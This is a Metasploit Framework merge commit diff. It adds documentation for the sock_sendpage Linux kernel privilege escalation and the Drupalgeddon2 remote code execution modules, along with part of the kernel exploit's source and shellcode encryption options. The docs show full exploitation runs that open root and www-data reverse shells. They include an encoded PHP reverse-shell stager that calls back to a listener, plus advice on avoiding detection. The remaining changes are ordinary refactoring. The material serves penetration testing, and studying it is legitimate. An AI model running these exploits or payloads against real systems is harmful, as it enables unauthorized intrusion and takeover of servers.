Merged master

GSoC/Meterpreter_Web_Console
christopher lee 2018-04-26 16:02:56 -05:00
commit 516b61ebaa
30 changed files with 1359 additions and 161 deletions

View File

@ -209,7 +209,7 @@ GEM
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.0.2)
rack (1.6.9)
rack (1.6.10)
rack-protection (1.5.5)
rack
rack-test (0.6.3)

Binary file not shown.

View File

@ -0,0 +1,121 @@
## Description
The Linux kernel failed to properly initialize some entries in the
`proto_ops` struct for several protocols, leading to `NULL` being
dereferenced and used as a function pointer. By using `mmap(2)` to map
page `0`, an attacker can execute arbitrary code in the context of the
kernel.
## Vulnerable Application
Several public exploits exist for this vulnerability, including
spender's `wunderbar_emporium` and rcvalle's ppc port, `sock_sendpage.c`.
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
* 2.4.4 up to and including 2.4.37.4
* 2.6.0 up to and including 2.6.30.4
This module has been tested successfully on:
* CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
* Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. `use exploit/linux/local/sock_sendpage`
4. `set SESSION [SESSION]`
5. `check`
6. `run`
7. You should get a new *root* session
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`
**WritableDir**
A writable directory file system path. (default: `/tmp`)
**DEBUG_EXPLOIT**
Enable exploit debug messages. (default: `false`)
## Scenarios
### CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
```
msf > use exploit/linux/local/sock_sendpage
msf exploit(linux/local/sock_sendpage) > set session 1
session => 1
msf exploit(linux/local/sock_sendpage) > set verbose true
verbose => true
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/sock_sendpage) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.188:4444
[+] Kernel version 2.6.18 appears to be vulnerable
[+] System architecture i686 is supported
[+] vm.mmap_min_addr is not set
[*] Writing '/tmp/.MCpzrCREnMXU' (3509 bytes) ...
[*] Max line length is 65537
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
[*] Executing payload...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (857352 bytes) to 172.16.191.159
[*] Meterpreter session 34 opened (172.16.191.188:4444 -> 172.16.191.159:37663) at 2018-04-10 06:50:13 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.159
OS : CentOS 5 (Linux 2.6.18-8.1.1.tl5)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
```
### Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
```
msf > use exploit/linux/local/sock_sendpage
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(linux/local/sock_sendpage) > set session 1
session => 1
msf exploit(linux/local/sock_sendpage) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.188:4444
[+] Kernel version 2.4.27 appears to be vulnerable
[+] System architecture i686 is supported
[+] vm.mmap_min_addr is not set
[*] Writing '/tmp/.69p3FeagB' (3509 bytes) ...
[*] Max line length is 65537
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
[*] Executing payload...
[*] Sending stage (36 bytes) to 172.16.191.227
[*] Command shell session 35 opened (172.16.191.188:4444 -> 172.16.191.227:32836) at 2018-04-10 06:59:08 -0400
[!] Tried to delete /tmp/.69p3FeagB, unknown result
3356110123
lfvaliLFShnAfRQkCHUXFtuyGXKylJSN
TJloQpOJsrsnQSfZpNAjWcbqNuHanLeI
LeKIAUjwBMRhxjJjVvvrdvwErYZnxPYr
id
uid=0(root) gid=0(root) groups=100(users)
uname -a
Linux sarge 2.4.27-3-386 #1 Wed Dec 6 00:38:33 UTC 2006 i686 GNU/Linux
```

View File

@ -0,0 +1,110 @@
## Intro
This module exploits a Drupal property injection in the Forms API.
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
## Setup
Use the provided Docker images here: <https://hub.docker.com/_/drupal/>.
Alternatively, you may use TurnKey Linux's distributions:
Drupal 7.54: <http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-drupal7-14.2-jessie-amd64.iso>
Drupal 8.3.1: <http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-drupal8-14.2-jessie-amd64.iso>
Tested on 7.57 and 8.4.5 in Docker and 7.54 and 8.3.1 in TurnKey.
## Targets
```
Id Name
-- ----
0 Automatic (PHP In-Memory)
1 Automatic (PHP Dropper)
2 Automatic (Unix In-Memory)
3 Automatic (Linux Dropper)
4 Drupal 7.x (PHP In-Memory)
5 Drupal 7.x (PHP Dropper)
6 Drupal 7.x (Unix In-Memory)
7 Drupal 7.x (Linux Dropper)
8 Drupal 8.x (PHP In-Memory)
9 Drupal 8.x (PHP Dropper)
10 Drupal 8.x (Unix In-Memory)
11 Drupal 8.x (Linux Dropper)
```
Automatic targeting means the Drupal version will be detected first.
Targets with a specific version will do as they're told (regardless of
what the server is running).
Dropper targets write to disk. In-memory targets don't. Be mindful of
showing up in someone's process list, though. A dropper might be more
viable in that regard.
## Options
**TARGETURI**
Set this to the remote path of the vulnerable Drupal install. Defaults
to `/` for the web root.
**PHP_FUNC**
Set this to the PHP function you'd like to execute. Defaults to
`passthru`.
**DUMP_OUTPUT**
Enable this if you'd like to see HTTP responses, including command
output. Defaults to `false` unless `cmd/unix/generic` is your payload.
**VERBOSE**
Enable this to show what function and command were executed. Defaults to
`false` due to the sometimes excessive output.
**ForceExploit**
Enable this to force exploitation regardless of the check result.
Defaults to `false`, meaning the check result is respected.
**WritableDir**
Set this to a writable directory without `noexec` for binary payloads.
Defaults to `/tmp`, but other options may include `/var/tmp` and
`/dev/shm`.
## Usage
Drupal 7.57 from the Docker image is tested below.
```
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 172.17.0.3
rhost => 172.17.0.3
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set verbose true
verbose => true
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > check
[*] Drupal 7.x targeted at http://172.17.0.3/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Executing with printf(): sdHl4fLONOKfVZL1cEvXuJCuSkue
[+] 172.17.0.3:80 The target is vulnerable.
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Drupal 7.x targeted at http://172.17.0.3/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Executing with printf(): paAHBb9jyovEnLrrT5lMIB
[*] Executing with assert(): eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNy4wLjEnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5s.ZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw));
[*] Sending stage (37775 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:46654) at 2018-04-24 23:25:17 -0500
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : b3a405d5568a
OS : [redacted]
Meterpreter : php/linux
meterpreter >
```

View File

@ -6,8 +6,10 @@ require 'metasploit/framework/data_service/stubs/note_data_service'
require 'metasploit/framework/data_service/stubs/web_data_service'
require 'metasploit/framework/data_service/stubs/service_data_service'
require 'metasploit/framework/data_service/stubs/session_data_service'
require 'metasploit/framework/data_service/stubs/session_event_service'
require 'metasploit/framework/data_service/stubs/exploit_data_service'
require 'metasploit/framework/data_service/stubs/loot_data_service'
require 'metasploit/framework/data_service/stubs/msf_data_service'
#
# All data service implementations should include this module to ensure proper implementation
@ -23,8 +25,10 @@ module DataService
include NoteDataService
include ServiceDataService
include SessionDataService
include SessionEventDataService
include ExploitDataService
include LootDataService
include MsfDataService
def name
raise 'DataService#name is not implemented';
@ -34,6 +38,10 @@ module DataService
raise 'DataService#active is not implemented';
end
def active=(value)
raise 'DataService#active= is not implemented';
end
def is_local?
raise 'DataService#is_local? is not implemented';
end

View File

@ -51,30 +51,36 @@ class DataProxy
end
#
# Registers a data service with the proxy and immediately
# set as primary if online
# Registers the specified data service with the proxy
# and immediately sets it as the primary if active
#
def register_data_service(data_service, online=false)
def register_data_service(data_service)
validate(data_service)
data_service_id = @data_service_id += 1
@data_services[data_service_id] = data_service
set_data_service(data_service_id, online)
set_data_service(data_service_id)
end
#
# Set the data service to be used
#
def set_data_service(data_service_id, online=false)
def set_data_service(data_service_id)
data_service = @data_services[data_service_id.to_i]
if data_service.nil?
raise "Data service with id: #{data_service_id} does not exist"
end
if !online && !data_service.active
raise "Data service not online: #{data_service.name}, not setting as active"
if !data_service.is_local? && !data_service.active
raise "Data service #{data_service.name} is not online, and won't be set as active"
end
prev_data_service = @current_data_service
@current_data_service = data_service
# reset the previous data service's active flag if it is remote
# to ensure checks are performed the next time it is set
if !prev_data_service.nil? && !prev_data_service.is_local?
prev_data_service.active = false
end
end
#
@ -153,12 +159,12 @@ class DataProxy
begin
db_manager = opts.delete(:db_manager)
if !db_manager.nil?
register_data_service(db_manager, true)
register_data_service(db_manager)
@usable = true
else
@error = 'disabled'
end
rescue Exception => e
rescue => e
raise "Unable to initialize data service: #{e.message}"
end
end

View File

@ -19,6 +19,7 @@ module DataProxyAutoLoader
autoload :DbExportDataProxy, 'metasploit/framework/data_service/proxy/db_export_data_proxy'
autoload :DbImportDataProxy, 'metasploit/framework/data_service/proxy/db_import_data_proxy'
autoload :VulnAttemptDataProxy, 'metasploit/framework/data_service/proxy/vuln_attempt_data_proxy'
autoload :MsfDataProxy, 'metasploit/framework/data_service/proxy/msf_data_proxy'
include ServiceDataProxy
include HostDataProxy
@ -36,4 +37,5 @@ module DataProxyAutoLoader
include DbExportDataProxy
include DbImportDataProxy
include VulnAttemptDataProxy
include MsfDataProxy
end

View File

@ -0,0 +1,10 @@
module MsfDataProxy
def get_msf_version
begin
data_service = self.get_data_service
data_service.get_msf_version
rescue => e
self.log_error(e, "Problem retrieving Metasploit version")
end
end
end

View File

@ -49,6 +49,26 @@ class RemoteHTTPDataService
end
def name
"remote_data_service: (#{@endpoint})"
end
def active
# checks if data service is online when @active is falsey and makes the assignment
# this is to prevent repetitive calls to check if data service is online
# logic should be enhanced to considering data service connectivity
# and future data service implementations
@active ||= is_online?
end
def active=(value)
@active = value
end
def is_local?
false
end
def error
'none'
end
@ -161,7 +181,7 @@ class RemoteHTTPDataService
rescue EOFError => e
elog "No data was returned from the data service for request type/path : #{request_type}/#{path}, message: #{e.message}"
return FailedResponse.new('')
rescue Exception => e
rescue => e
elog "Problem with HTTP request for type/path: #{request_type}/#{path} message: #{e.message}"
return FailedResponse.new('')
ensure
@ -169,21 +189,6 @@ class RemoteHTTPDataService
end
end
#
# TODO: fix this
#
def active
return true
end
def name
"remote_data_service: (#{@endpoint})"
end
def is_local?
false
end
def set_header(key, value)
@headers = Hash.new() if @headers.nil?
@ -233,6 +238,19 @@ class RemoteHTTPDataService
raise 'Endpoint cannot be nil' if endpoint.nil?
end
#
# Checks if the data service is online by making a request
# for the Metasploit version number from the remote endpoint
#
def is_online?
response = self.get_msf_version
if response && !response[:metasploit_version].empty?
return true
end
return false
end
def build_request(request, data_hash)
request.content_type = 'application/json'
if !data_hash.nil? && !data_hash.empty?

View File

@ -17,6 +17,7 @@ module DataServiceAutoLoader
autoload :RemoteNmapDataService, 'metasploit/framework/data_service/remote/http/remote_nmap_data_service'
autoload :RemoteDbExportDataService, 'metasploit/framework/data_service/remote/http/remote_db_export_data_service'
autoload :RemoteVulnAttemptDataService, 'metasploit/framework/data_service/remote/http/remote_vuln_attempt_data_service'
autoload :RemoteMsfDataService, 'metasploit/framework/data_service/remote/http/remote_msf_data_service'
include RemoteHostDataService
include RemoteEventDataService
@ -33,4 +34,5 @@ module DataServiceAutoLoader
include RemoteNmapDataService
include RemoteDbExportDataService
include RemoteVulnAttemptDataService
include RemoteMsfDataService
end

View File

@ -0,0 +1,12 @@
require 'metasploit/framework/data_service/remote/http/response_data_helper'
module RemoteMsfDataService
include ResponseDataHelper
MSF_API_PATH = '/api/v1/msf'
MSF_VERSION_API_PATH = "#{MSF_API_PATH}/version"
def get_msf_version
json_to_hash(self.get_data(MSF_VERSION_API_PATH, nil, nil))
end
end

View File

@ -0,0 +1,5 @@
module MsfDataService
def get_msf_version
raise 'MsfDataService#get_msf_version is not implemented'
end
end

View File

@ -18,9 +18,13 @@ module Buffer
# Serializes a buffer to a provided format. The formats supported are raw,
# num, dword, ruby, python, perl, bash, c, js_be, js_le, java and psh
#
def self.transform(buf, fmt = "ruby", var_name = 'buf')
def self.transform(buf, fmt = "ruby", var_name = 'buf', encryption_opts={})
default_wrap = 60
unless encryption_opts.empty?
buf = encrypt_buffer(buf, encryption_opts)
end
case fmt
when 'raw'
when 'num'
@ -120,6 +124,50 @@ module Buffer
]
end
def self.encryption_formats
[
'xor',
'base64',
'aes256',
'rc4'
]
end
private
def self.encrypt_buffer(value, encryption_opts)
buf = ''
case encryption_opts[:format]
when 'aes256'
if encryption_opts[:iv].blank?
raise ArgumentError, 'Initialization vector is missing'
elsif encryption_opts[:key].blank?
raise ArgumentError, 'Encryption key is missing'
end
buf = Rex::Crypto.encrypt_aes256(encryption_opts[:iv], encryption_opts[:key], value)
when 'base64'
buf = Rex::Text.encode_base64(value)
when 'xor'
if encryption_opts[:key].blank?
raise ArgumentError, 'XOR key is missing'
end
buf = Rex::Text.xor(encryption_opts[:key], value)
when 'rc4'
if encryption_opts[:key].blank?
raise ArgumentError, 'Encryption key is missing'
end
buf = Rex::Crypto.rc4(encryption_opts[:key], value)
else
raise ArgumentError, "Unsupported encryption format: #{encryption_opts[:format]}", caller
end
return buf
end
end
end

View File

@ -19,7 +19,10 @@ class DataStore < Hash
@imported_by = Hash.new
end
attr_accessor :options
attr_accessor :aliases
attr_accessor :imported
attr_accessor :imported_by
#
# Clears the imported flag for the supplied key since it's being set
@ -216,6 +219,38 @@ class DataStore < Hash
end
end
#
# Return a deep copy of this datastore.
#
def copy
ds = self.class.new
self.keys.each do |k|
ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
end
ds.aliases = self.aliases.dup
ds
end
#
# Override merge! so that we merge the aliases and imported hashes
#
def merge!(other)
super
if other.is_a? DataStore
self.aliases.merge!(other.aliases)
self.imported.merge!(other.imported)
self.imported_by.merge!(other.imported_by)
end
end
#
# Override merge to ensure we merge the aliases and imported hashes
#
def merge(other)
ds = self.copy
ds.merge!(other)
end
#
# Returns a hash of user-defined datastore values. The returned hash does
# not include default option values.
@ -269,8 +304,8 @@ protected
# Scan each alias looking for a key
search_k = k.downcase
if @aliases.has_key?(search_k)
search_k = @aliases[search_k]
if self.aliases.has_key?(search_k)
search_k = self.aliases[search_k]
end
# Scan each key looking for a match
@ -341,12 +376,12 @@ class ModuleDataStore < DataStore
# Return a deep copy of this datastore.
#
def copy
clone = self.class.new(@_module)
ds = self.class.new(@_module)
self.keys.each do |k|
clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
end
clone.aliases = self.aliases
clone
ds.aliases = self.aliases.dup
ds
end
end

View File

@ -0,0 +1,25 @@
module MsfServlet
def self.api_path
'/api/v1/msf'
end
def self.api_version_path
"#{MsfServlet.api_path}/version"
end
def self.registered(app)
app.get MsfServlet.api_version_path, &get_msf_version
end
#######
private
#######
def self.get_msf_version
lambda {
set_json_response({metasploit_version: Metasploit::Framework::VERSION})
}
end
end

View File

@ -1,21 +0,0 @@
module OnlineTestServlet
def self.api_path
'/api/v1/online'
end
def self.registered(app)
app.get OnlineTestServlet.api_path, &get_active
end
#######
private
#######
def self.get_active
lambda {
set_empty_response()
}
end
end

View File

@ -5,7 +5,7 @@ require 'msf/core/db_manager/http/servlet/note_servlet'
require 'msf/core/db_manager/http/servlet/vuln_servlet'
require 'msf/core/db_manager/http/servlet/event_servlet'
require 'msf/core/db_manager/http/servlet/web_servlet'
require 'msf/core/db_manager/http/servlet/online_test_servlet'
require 'msf/core/db_manager/http/servlet/msf_servlet'
require 'msf/core/db_manager/http/servlet/workspace_servlet'
require 'msf/core/db_manager/http/servlet/service_servlet'
require 'msf/core/db_manager/http/servlet/session_servlet'
@ -26,7 +26,7 @@ class SinatraApp < Sinatra::Base
register VulnServlet
register EventServlet
register WebServlet
register OnlineTestServlet
register MsfServlet
register NoteServlet
register WorkspaceServlet
register ServiceServlet

View File

@ -25,7 +25,7 @@ module Payload::Linux::ReverseTcp_x64
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
retry_count: datastore['StagerRetryCount'],
sleep_seconds: datastore['StagerRetryWait'],
}

View File

@ -83,6 +83,15 @@ module Msf
# @!attribute var_name
# @return [String] The custom variable string for certain output formats
attr_accessor :var_name
# @!attribute encryption_format
# @return [String] The encryption format to use for the shellcode.
attr_accessor :encryption_format
# @!attribute encryption_key
# @return [String] The key to use for the encryption
attr_accessor :encryption_key
# @!attribute encryption_iv
# @return [String] The initialization vector for the encryption (not all apply)
attr_accessor :encryption_iv
# @param opts [Hash] The options hash
@ -123,6 +132,9 @@ module Msf
@var_name = opts.fetch(:var_name, 'buf')
@smallest = opts.fetch(:smallest, false)
@encoder_space = opts.fetch(:encoder_space, @space)
@encryption_format = opts.fetch(:encryption_format, nil)
@encryption_key = opts.fetch(:encryption_key, nil)
@encryption_iv = opts.fetch(:encryption_iv, nil)
@framework = opts.fetch(:framework)
@ -276,15 +288,20 @@ module Msf
# @param shellcode [String] the processed shellcode to be formatted
# @return [String] The final formatted form of the payload
def format_payload(shellcode)
encryption_opts = {}
encryption_opts[:format] = encryption_format if encryption_format
encryption_opts[:iv] = encryption_iv if encryption_iv
encryption_opts[:key] = encryption_key if encryption_key
case format.downcase
when "js_be"
if Rex::Arch.endian(arch) != ENDIAN_BIG
raise IncompatibleEndianess, "Big endian format selected for a non big endian payload"
else
::Msf::Simple::Buffer.transform(shellcode, format, @var_name)
::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts)
end
when *::Msf::Simple::Buffer.transform_formats
::Msf::Simple::Buffer.transform(shellcode, format, @var_name)
::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts)
when *::Msf::Util::EXE.to_executable_fmt_formats
::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options)
else

View File

@ -13,7 +13,7 @@ module Kernel
# @return [String]
#
def uname(opts='-a')
cmd_exec("uname #{opts}").to_s
cmd_exec("uname #{opts}").to_s.strip
rescue
raise "Failed to run uname #{opts}"
end
@ -87,18 +87,139 @@ module Kernel
raise 'Could not determine SMEP status'
end
#
# Returns true if Kernel Address Isolation (KAISER) is enabled
#
# @return [Boolean]
#
def kaiser_enabled?
cmd_exec('cat /proc/cpuinfo').to_s.include? 'kaiser'
rescue
raise 'Could not determine KAISER status'
end
#
# Returns true if user namespaces are enabled, false if not.
#
# @return [Boolean]
#
def userns_enabled?
return false if cmd_exec('cat /proc/sys/user/max_user_namespaces').to_s.eql? '0'
cmd_exec('cat /proc/sys/kernel/unprivileged_userns_clone').to_s.eql? '1'
return false if cmd_exec('cat /proc/sys/user/max_user_namespaces').to_s.strip.eql? '0'
cmd_exec('cat /proc/sys/kernel/unprivileged_userns_clone').to_s.strip.eql? '1'
rescue
raise 'Could not determine userns status'
end
#
# Returns true if Address Space Layout Randomization (ASLR) is enabled
#
# @return [Boolean]
#
def aslr_enabled?
aslr = cmd_exec('cat /proc/sys/kernel/randomize_va_space').to_s.strip
(aslr.eql?('1') || aslr.eql?('2'))
rescue
raise 'Could not determine ASLR status'
end
#
# Returns true if unprivileged bpf is disabled
#
# @return [Boolean]
#
def unprivileged_bpf_disabled?
cmd_exec('cat /proc/sys/kernel/unprivileged_bpf_disabled').to_s.strip.eql? '1'
rescue
raise 'Could not determine kernel.unprivileged_bpf_disabled status'
end
#
# Returns true if kernel pointer restriction is enabled
#
# @return [Boolean]
#
def kptr_restrict?
cmd_exec('cat /proc/sys/kernel/kptr_restrict').to_s.strip.eql? '1'
rescue
raise 'Could not determine kernel.kptr_restrict status'
end
#
# Returns true if dmesg restriction is enabled
#
# @return [Boolean]
#
def dmesg_restrict?
cmd_exec('cat /proc/sys/kernel/dmesg_restrict').to_s.strip.eql? '1'
rescue
raise 'Could not determine kernel.dmesg_restrict status'
end
#
# Returns mmap minimum address
#
# @return [Integer]
#
def mmap_min_addr
mmap_min_addr = cmd_exec('cat /proc/sys/vm/mmap_min_addr').to_s.strip
return 0 unless mmap_min_addr =~ /\A\d+\z/
mmap_min_addr
rescue
raise 'Could not determine system mmap_min_addr'
end
#
# Returns true if SELinux is installed
#
# @return [Boolean]
#
def selinux_installed?
cmd_exec('id').to_s.include? 'context='
rescue
raise 'Could not determine SELinux status'
end
#
# Returns true if SELinux is in enforcing mode
#
# @return [Boolean]
#
def selinux_enforcing?
return false unless selinux_installed?
sestatus = cmd_exec('/usr/sbin/sestatus').to_s.strip
raise unless sestatus.include?('SELinux')
return true if sestatus =~ /Current mode:\s*enforcing/
false
rescue
raise 'Could not determine SELinux status'
end
#
# Returns true if Yama is installed
#
# @return [Boolean]
#
def yama_installed?
ptrace_scope = cmd_exec('cat /proc/sys/kernel/yama/ptrace_scope').to_s.strip
return true if ptrace_scope =~ /\A\d\z/
false
rescue
raise 'Could not determine Yama status'
end
#
# Returns true if Yama is enabled
#
# @return [Boolean]
#
def yama_enabled?
return false unless yama_installed?
!cmd_exec('cat /proc/sys/kernel/yama/ptrace_scope').to_s.strip.eql? '0'
rescue
raise 'Could not determine Yama status'
end
end # Kernel
end # Linux
end # Post

View File

@ -1994,7 +1994,7 @@ class Db
framework.db.register_data_service(remote_data_service)
print_line "Registered data service: #{remote_data_service.name}"
framework.db.workspace = framework.db.default_workspace
rescue Exception => e
rescue => e
print_error "There was a problem registering the remote data service: #{e.message}"
end
end
@ -2004,7 +2004,7 @@ class Db
data_service = framework.db.set_data_service(service_id)
framework.db.workspace = framework.db.default_workspace
data_service
rescue Exception => e
rescue => e
print_error "Unable to set data service: #{e.message}"
end
end

View File

@ -114,6 +114,10 @@ require 'rex/compat'
require 'rex/sslscan/scanner'
require 'rex/sslscan/result'
# Cryptography
require 'rex/crypto/aes256'
require 'rex/crypto/rc4'
# Overload the Kernel.sleep() function to be thread-safe
Kernel.class_eval("

33
lib/rex/crypto/aes256.rb Normal file
View File

@ -0,0 +1,33 @@
# -*- coding: binary -*-
module Rex
module Crypto
# Returns an encrypted string using AES256-CBC.
#
# @param iv [String] Initialization vector.
# @param key [String] Secret key.
# @return [String] The encrypted string.
def self.encrypt_aes256(iv, key, value)
aes = OpenSSL::Cipher::AES256.new(:CBC)
aes.encrypt
aes.iv = iv
aes.key = key
aes.update(value) + aes.final
end
# Returns a decrypted string using AES256-CBC.
#
# @param iv [String] Initialization vector.
# @param key [String] Secret key.
# @return [String] The decrypted string.
def self.decrypt_aes256(iv, key, value)
aes = OpenSSL::Cipher::AES256.new(:CBC)
aes.decrypt
aes.iv = iv
aes.key = key
aes.update(value) + aes.final
end
end
end

20
lib/rex/crypto/rc4.rb Normal file
View File

@ -0,0 +1,20 @@
# -*- coding: binary -*-
require 'rc4'
module Rex
module Crypto
# Returns a decrypted or encrypted RC4 string.
#
# @param key [String] Secret key.
# @param [String]
def self.rc4(key, value)
rc4 = RC4.new(key)
# This can also be used to decrypt
rc4.encrypt(value)
end
end
end

View File

@ -10,17 +10,19 @@ require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::LinuxKernel
include Msf::Exploit::Local::Linux
def initialize(info = {})
super( update_info( info, {
super(update_info(info,
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
'Description' => %q{
The Linux kernel failed to properly initialize some entries the
The Linux kernel failed to properly initialize some entries in the
proto_ops struct for several protocols, leading to NULL being
dereferenced and used as a function pointer. By using mmap(2) to map
page 0, an attacker can execute arbitrary code in the context of the
@ -31,6 +33,10 @@ class MetasploitModule < Msf::Exploit::Local
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
This module has been tested successfully on CentOS 5.0 (i386) with
kernel version 2.6.18-8.1.1.tl5; and Debian 3.1r8 Sarge (i686) with
kernel version 2.4.27-3-386.
},
'License' => MSF_LICENSE,
'Author' =>
@ -47,46 +53,108 @@ class MetasploitModule < Msf::Exploit::Local
'References' =>
[
[ 'CVE', '2009-2692' ],
[ 'OSVDB', '56992' ],
[ 'EDB', '9545' ],
[ 'EDB', '9641' ],
[ 'BID', '36038' ],
[ 'URL', 'https://www.securityfocus.com/archive/1/505751' ],
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => "Aug 13 2009",
}
))
register_options([
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
])
register_options([
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
])
'DisclosureDate' => 'Aug 13 2009',
'DefaultTarget' => 0))
register_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptBool.new('DEBUG_EXPLOIT', [ true, "Make the exploit executable be verbose about what it's doing", false ])
]
end
def executable_path
@executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
def base_dir
datastore['WritableDir']
end
@executable_path
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def check
version = Gem::Version.new kernel_release.split('-').first
if version.to_s.eql? ''
vprint_error 'Could not determine the kernel version'
return CheckCode::Unknown
end
if version.between?(Gem::Version.new('2.4.4'), Gem::Version.new('2.4.37.4')) ||
version.between?(Gem::Version.new('2.6.0'), Gem::Version.new('2.6.30.4'))
vprint_good "Kernel version #{version} appears to be vulnerable"
else
vprint_error "Kernel version #{version} is not vulnerable"
return CheckCode::Safe
end
arch = kernel_hardware
unless arch.include?('x86') || arch =~ /i\d86/
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
if arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
